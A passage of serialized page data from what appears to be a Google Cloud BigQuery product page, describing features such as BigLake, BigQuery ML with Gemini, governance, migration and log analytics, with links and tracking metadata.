platform"]],[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],[2782]]]]],null,"bring-multiple-engines-to-a-single-copy-of-data"],[[[null,[null,"Manage all data types and open formats"],[null,"\u003cp\u003eUse BigQuery to manage all data types \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/omni-introduction\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eacross clouds\u003c/a\u003e, structured and unstructured, with fine-grained access controls. Support for open table formats gives you the flexibility to use existing open source and legacy tools while getting the benefits of an integrated data platform. BigLake, \u003ca href\u003d\"https://cloud.google.com/biglake?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery’s storage engine\u003c/a\u003e, lets you have a common way to work with data and makes \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/query-open-table-format-using-manifest-files\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eopen formats like Apache Iceberg, Delta, and Hudi\u003c/a\u003e. Read new research on \u003ca href\u003d\"https://research.google/pubs/biglake-bigquerys-evolution-toward-a-multi-cloud-lakehouse/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery's Evolution toward a Multi-Cloud Lakehouse\u003c/a\u003e.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Build an open and fully managed lakehouse with BigQuery at Next"]],[[null,null,"https://youtu.be/LIMnhzJWmLQ"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/limnhzjwmlq"],["track-metadata-module","product v3 features"],["track-metadata-video-id","limnhzjwmlq"],["track-name","build an open and fully managed lakehouse with bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/k5d9dj1o0aAQJzPNCGtZLYKO84hGvasDQE7y2ZqNNMEMoKA02qu9bPC1Q0Wr7UKW5ZdILRyVUzpXGQ"],null,null,true,null,null,null,null,[null,"Build a lakehouse with BigQuery"]],[null,null,"https://youtu.be/LIMnhzJWmLQ"],[2526]]]]],null,"manage-all-data-types-and-open-formats"],[[[null,[null,"Built-in machine learning"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery ML\u003c/a\u003e provides built-in capabilities to create and run ML models for your BigQuery data. You can leverage a \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction#supported_models?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ebroad range of models\u003c/a\u003e for predictions, and access the latest \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/bring-generative-ai-to-bigquery-with-vertex-ai-integration?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini models\u003c/a\u003e to derive insights from all data types and unlock generative AI tasks, such as text summarization, text generation, \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-bigquery-text-embeddings\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003emultimodal embeddings\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-new-vector-search-capabilities-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evector search\u003c/a\u003e. It increases the model development speed by directly bringing ML to your data and eliminating the need to move data from BigQuery.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Analyze data in BigQuery using Gemini models"]],[[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","0rmt8ueplbm"],["track-name","analyze data in bigquery using gemini models"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/zll06iKjCh09TY-DMT8IDShQuzJ0311cs7t6JJQeERUbWaBS6W63UQGulCFMA2zeVo0V4BLDnfrg"],null,null,true,null,null,null,null,[null,"How to accelerate machine learning with BigQuery ML"]],[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],[430]]]]],null,"built-in-machine-learning"],[[[null,[null,"Built-in data governance"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/dataplex\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eData governance \u003c/a\u003eis built into BigQuery, including full integration of Dataplex capabilities, such as a unified metadata catalog, data quality, lineage, and profiling. Customers can use rich AI-driven metadata search and discovery capabilities for assets, including dataset schemas, notebooks and reports, public and commercial dataset listings, and more. BigQuery users can also use governance rules to manage policies on BigQuery object tables.\u003c/p\u003e"]]],null,[null,null,[13,[[[null,null,[null,"Data and AI governance at Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","3a855rn 9pe"],["track-name","data and ai governance at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/hcs7yG6HKLteCsSvda5W3sHkYLAe8Ojp72Yd8LVgeWLlsBFOeFYT2-04murGa9ILIBCxGBXsRGLP"],null,null,true,null,null,null,null,[null,"AI and data governance"]],[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],[2730]]]]],null,"built-in-data-governance"],[[[null,[null,"Enterprise capabilities "],[null,"\u003cp\u003eBigQuery continues to build new enterprise capabilities. Cross-region disaster recovery provides managed failover in the unlikely event of a regional disaster as well as \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/reliability-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata backup and recovery features\u003c/a\u003e to help you recover from user errors. BigQuery \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/admin-resource-charts\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eoperational health monitoring\u003c/a\u003e provides organization-wide views of your BigQuery operational environment. \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/migration-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery Migration Services\u003c/a\u003e provides a comprehensive collection of tools for migrating to BigQuery from legacy or cloud data warehouses.\u003c/p\u003e"]]],null,[],null,"enterprise-capabilities"],[[[null,[null,"Real-time analytics with streaming data pipelines"],[null,"\u003cp\u003eBigQuery can ingest streaming data and make it immediately available to query and integrate to \u003ca href\u003d\"https://cloud.google.com/dataflow\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003estreaming products\u003c/a\u003e, like Dataflow. Accelerate query performance and reduce costs within BigQuery with \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/materialized-views-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ematerialized views\u003c/a\u003e. Continuous queries is a new BigQuery feature that unlocks continuous analytical processing through a SQL statement to fuel event-driven applications. Read our latest research on \u003ca href\u003d\"https://research.google/pubs/vortex-a-stream-oriented-storage-engine-for-big-data-analytics/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVortex: A Stream-oriented Storage Engine For Big Data Analytics\u003c/a\u003e.\u003c/p\u003e"]]],null,[],null,"real-time-analytics-with-streaming-data-pipelines"],[[[null,[null,"Share insights with built-in business intelligence"],[null,"\u003cp\u003eWith built-in business intelligence, create and share insights in a few clicks with \u003ca href\u003d\"https://lookerstudio.google.com/overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker Studio\u003c/a\u003e or build data-rich experiences that go beyond BI with \u003ca href\u003d\"https://cloud.google.com/looker\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker\u003c/a\u003e. Analyze billions of rows of live BigQuery data in Google Sheets with familiar tools, like pivot tables, charts, and formulas, to easily derive insights from big data with \u003ca href\u003d\"https://cloud.google.com/blog/products/g-suite/connected-sheets-is-generally-available\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eConnected Sheets\u003c/a\u003e. \u003c/p\u003e"]]],null,[],null,"share-insights-with-built-in-business-intelligence"]]],{"10000":[[["track-metadata-module","product v3 features"]],191767]}],[71,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"\u003cp\u003eBigQuery's serverless architecture lets you use SQL queries to analyze your data. You can store and analyze your data within BigQuery or use BigQuery to assess your data where it lives. To test how it works for yourself, query data—without a credit card—using the BigQuery sandbox.\u003c/p\u003e"],[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run sample query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-name","run sample query"]],192553]}]],null,[[[null,null,"https://lh3.googleusercontent.com/8wK5MbERaqN7zp3dorb2lGN5dNfhQ4H8X9tsDBph1lIFBShZuQRO18dKItspZbpVC3Z7F0lpCTY"],null,null,true,null,[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery "],null,null,[null,"BigQuery product UI"]],[null,null,"https://www.youtube.com/watch?v\u003dg-f_mWXK9sU"],[],{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-metadata-video-id","g-f mwxk9su"],["track-name","bigquery product ui"]],192559]}]],{"10000":[[["track-metadata-module","how it works"]],191761],"10002":"bigquerys-serverless-architecture-lets-you-use-sql-queries-to-analyze-your-data-you-can-store-and-analyze-your-data-within-bigquery-or-use-bigquery-to-assess-your-data-where-it-lives-to-test-how-it-works-for-yourself-query-data—without-a-credit-card—using-the-bigquery-sandbox"}],[79,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Generative AI"]]],[[[[[[null,[null,"\u003cp\u003eUnlock generative AI use cases with BigQuery and Gemini models\u003c/p\u003e"],[null,"\u003cp\u003eBuild data pipelines that blend structured data, unstructured data, and generative AI models together to create a new class of analytical applications. BigQuery integrates with \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/generative-ai/model-reference/gemini\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini 1.0 Pro\u003c/a\u003e using \u003ca href\u003d\"https://cloud.google.com/vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVertex AI\u003c/a\u003e. The Gemini 1.0 Pro model is designed for higher input/output scale and better result quality across a wide range of tasks like text summarization and sentiment analysis. You can now access it using simple SQL statements or BigQuery’s embedded \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/building-aiml-apps-in-python-with-bigquery-dataframes\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eDataFrame API\u003c/a\u003e from right inside the BigQuery console.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],"Learn more about BigQuery and Vertex AI integrations",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn more about bigquery and vertex ai integrations"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/Qz995PaAazDPcm8oPOQres3Xr1dl0eK_Rd8cBv9D9rvDRwpdGVdM11gCH8Ti__7t7uP6V3unfCg"],null,null,true,null,null,null,null,[null,"Generative AI use cases"]]],[[[[null,[null,"\u003cp\u003eLearn how to get started with Generative AI in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/2157?catalog_rank\u003d%7B%22rank%22%3A1%2C%22num_filters%22%3A0%2C%22has_search%22%3Atrue%7D\u0026parent\u003dcatalog\u0026search_id\u003d30041578"],null,11,{"10000":[[["track-metadata-child_headline","learn how to get started with generative ai in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/2157"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn how to get started with generative ai in bigquery"]],192558]}]]],[[[null,[null,"\u003cp\u003eRead the latest innovations on BigQuery's integrations with Vertex AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],null,4,{"10000":[[["track-metadata-child_headline","read the latest innovations on bigquery's integrations with vertex ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","read the latest innovations on bigquery's integrations with vertex ai"]],192551]}]]]]],1]],"generative-ai"],[[[null,[null,"Data warehouse migration"]]],[[[[[[null,[null,"\u003cp\u003eMigrate data warehouses to BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eSolve for today’s analytics demands and seamlessly scale your business by moving to Google Cloud’s enterprise data warehouse. Streamline your migration path from Netezza, Oracle, Redshift, Teradata, or Snowflake to BigQuery using the free and fully managed BigQuery Migration Service.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration-intro"],"Learn about BigQuery Migration Service for a comprehensive data warehouse migration",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","learn about bigquery migration service for a comprehensive data warehouse migration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/9PLrpRHp1bViC1NFuK_-NscEp0MK2xUj3aLLoCCSMFsOTErzv2l1gmJX82dJ1WCkiatvk97KDihBtA"],null,null,true,null,null,null,null,[null,"Cloud Data warehouse migration diagram"]]],[[[[null,[null,"\u003cp\u003eAmazon Redshift to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/redshift-overview"],null,6,{"10000":[[["track-metadata-child_headline","amazon redshift to bigquery migration guide"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/redshift-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","amazon redshift to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eTeradata to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/teradata-overview"],null,6,{"10000":[[["track-metadata-child_headline","teradata to bigquery migration guide"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/teradata-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","teradata to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eSnowflake to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/snowflake-overview"],null,6,{"10000":[[["track-metadata-child_headline","snowflake to bigquery migration guide"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/snowflake-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","snowflake to bigquery migration guide"]],192553]}]]]]],1]],"data-warehouse-migration"],[[[null,[null,"Transfer data into BigQuery"]]],[[[[[[null,[null,"\u003cp\u003eBring any data into BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eMake analytics easier by bringing together data from multiple sources into BigQuery. You can upload data files from local sources, Google Drive, or Cloud Storage buckets, use BigQuery Data Transfer Service (DTS), Cloud Data Fusion plugins, replicate data from relational databases with Datastream for BigQuery, or leverage Google's industry-leading data integration partnerships. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/third-party-transfer"],"Learn about third-party transfers",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/third-party-transfer"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","learn about third-party transfers"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/MGW2wd83-4PeRwJPnYQ5bba66-VkzbPxtGtjXfQ8gAiTDYEYJjlqmJQwWRgoxPhXlz2e4rXQbeD8Dg"],null,null,true,null,null,null,null,[null,"ways to bring data into BigQuery"]]],[[[[null,[null,"\u003cp\u003eAutomate \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003edata movement\u003c/span\u003e into BigQuery with DTS\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/dts-introduction"],null,6,{"10000":[[["track-metadata-child_headline","automate data movement into bigquery with dts"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/dts-introduction"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","automate data movement into bigquery with dts"]],192553]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eDeploy data pipelines\u003c/span\u003e into BigQuery with Data Fusion\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/data-fusion/plugins"],{"10000":[[["track-metadata-child_headline","deploy data pipelines into bigquery with data fusion"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/data-fusion/plugins"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","deploy data pipelines into bigquery with data fusion"]]]}]]]]],1]],"transfer-data-into-bigquery"],[[[null,[null,"Unlock value from all data types"]]],[[[[[[null,[null,"\u003cp\u003eDerive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e and combine with structured data\u003c/p\u003e"],[null,"\u003cp\u003eUnstructured data represents a large portion of untapped enterprise data. However, it can be challenging to interpret, making it difficult to extract meaningful insights from it. Leveraging the power of BigLake, you can derive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e using a broad range of AI models, including Vertex AI’s \u003ca href\u003d\"https://cloud.google.com/vision?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evision\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocument processing\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/speech-to-text/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003espeech-to-text\u003c/a\u003e APIs, open-source TensorFlow Hub models, or your own custom models.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/ai-application-overview?utm_source\u003dconcord\u0026utm_medium\u003demail\u0026utm_campaign\u003dFY24-global-email-product-attach\u0026utm_content\u003d-\u0026utm_term\u003d-"],"Learn more about unstructured data analysis ",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/ai-application-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","derive insights from images \u003c://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\u003e, documents \u003c://cloud.google.com/document-ai/?hl\u003den\u003e, and audio files \u003c://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\u003e and combine with structured data"],["track-name","learn more about unstructured data analysis"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/mJN0js2LTSrHjomhY4RG_xYjJPkH_AOU-m5I_JiMogTGp1hL1mrEr38YAqcoa7SmY2VfPd6lJpk"],null,null,true,null,null,null,null,[null,"Google Cloud infrastructure diagram"]]]],1]],"unlock-value-from-all-data-types"],[[[null,[null,"Pre-configured data solutions"]]],[[[[[[null,[null,"\u003cp\u003eDeploy a preconfigured data warehouse in the Google Cloud console\u003c/p\u003e"],[null,"\u003cp\u003eDeploy an example \u003ca href\u003d\"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata warehouse solution\u003c/a\u003e to explore, analyze, and visualize data using BigQuery and Looker Studio. Plus, apply generative AI to summarize the results of the analysis.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse"],"Deploy in console",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy in console"]],192548]}]],[[null,null,"https://www.gstatic.com/bricks/image/b4fdb6e51f5c5462eacf4b8476b92560e7e3cdc2542fc4da4bbc0851ad481ae2.svg"]]],[[[[null,[null,"\u003cp\u003eDeploy a Google-recommended \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalytics lakehouse solution\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/analytics-lakehouse"],null,1,{"10000":[[["track-metadata-child_headline","deploy a google-recommended analytics lakehouse solution"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy a google-recommended analytics lakehouse solution"]],192548]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eSummarize large documents\u003c/span\u003e with AI\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/generative-ai-document-summarization"],null,1,{"10000":[[["track-metadata-child_headline","summarize large documents with ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","summarize large documents with ai"]],192548]}]]]]],1]],"pre-configured-data-solutions"],[[[null,[null,"Real-time analytics"]]],[[[[[[null,[null,"\u003cp\u003eEvent-driven analysis\u003c/p\u003e"],[null,"\u003cp\u003eGain a competitive advantage by responding to business events in real time with event-driven analysis. Built-in streaming capabilities automatically ingest streaming data and make it immediately available to query. This allows you to stay agile and make business decisions based on the freshest data. Or use Dataflow to enable fast, simplified streaming data pipelines for a comprehensive solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],"Learn more about streaming data into BigQuery",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","event-driven analysis"],["track-name","learn more about streaming data into bigquery"]],192553]}]],[[null,null,"https://www.gstatic.com/bricks/image/590bae7ee39fd931767c925e8e0139c712c4eda70686ff45ea360c19a12fb2fb.svg"],null,null,null,null,null,null,null,[null,"streaming analytics architecture"]]]],1]],"real-time-analytics"],[[[null,[null,"Predictive analytics"]]],[[[[[[null,[null,"\u003cp\u003ePredict business outcomes with leading AI/ML\u003c/p\u003e"],[null,"\u003cp\u003ePredictive analytics can be used to streamline operations, boost revenue, and mitigate risk. BigQuery ML democratizes the use of ML by empowering data analysts to build and run models using existing business intelligence tools and spreadsheets. Predictive analytics can guide business decision-making across the organization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/reference-patterns/overview"],"View analytics design patterns for predictive analytics use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/reference-patterns/overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","view analytics design patterns for predictive analytics use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67"],null,null,true,null,null,null,null,[null,"ML diagram"]]],[[[[null,[null,"\u003cp\u003eBuild an \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ee-commerce recommendation\u003c/span\u003e system\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],{"10000":[[["track-metadata-child_headline","build an e-commerce recommendation system"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build an e-commerce recommendation system"]]]}]]],[[[null,[null,"\u003cp\u003ePredict \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ecustomer lifetime value\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],{"10000":[[["track-metadata-child_headline","predict customer lifetime value"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","predict customer lifetime value"]]]}]]],[[[null,[null,"\u003cp\u003eBuild a \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003epropensity to purchase\u003c/span\u003e solution\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/predicting-customer-propensity-to-buy"],{"10000":[[["track-metadata-child_headline","build a propensity to purchase solution"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/predicting-customer-propensity-to-buy"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build a propensity to purchase solution"]]]}]]]]],1]],"predictive-analytics"],[[[null,[null,"Log analytics"]]],[[[[[[null,[null,"\u003cp\u003eAnalyze log data\u003c/p\u003e"],[null,"\u003cp\u003eAnalyze and gain deeper insights into your logging data with BigQuery. You can store, explore, and run queries on generated data from servers, sensors, and other devices simply using GoogleSQL. Additionally, you can analyze log data alongside the rest of your business data for broader analysis all natively within BigQuery. \u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/6100?parent\u003dcatalog"],"Learn how to analyze logs using BigQuery",11,{"10000":[[["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/6100"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","learn how to analyze logs using bigquery"]],192558]}]]],[[[[null,[null,"\u003cp\u003eVideo: How to \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalyze log data\u003c/span\u003e in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.youtube.com/watch?v\u003dFIRbVmqpyw0"],null,12,{"10000":[[["track-metadata-child_headline","video: how to analyze log data in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-metadata-video-id","firbvmqpyw0"],["track-name","video: how to analyze log data in bigquery"]],192559]}]]],[[[null,[null,"\u003cp\u003eSample \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eSQL queries\u003c/span\u003e for log analytics\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/logging/docs/analyze/examples"],null,6,{"10000":[[["track-metadata-child_headline","sample sql queries for log analytics"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/logging/docs/analyze/examples"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","sample sql queries for log analytics"]],192553]}]]],[[[null,[null,"\u003cp\u003ePinpoint \u003cspan style\u003d\"color: rgb(66, 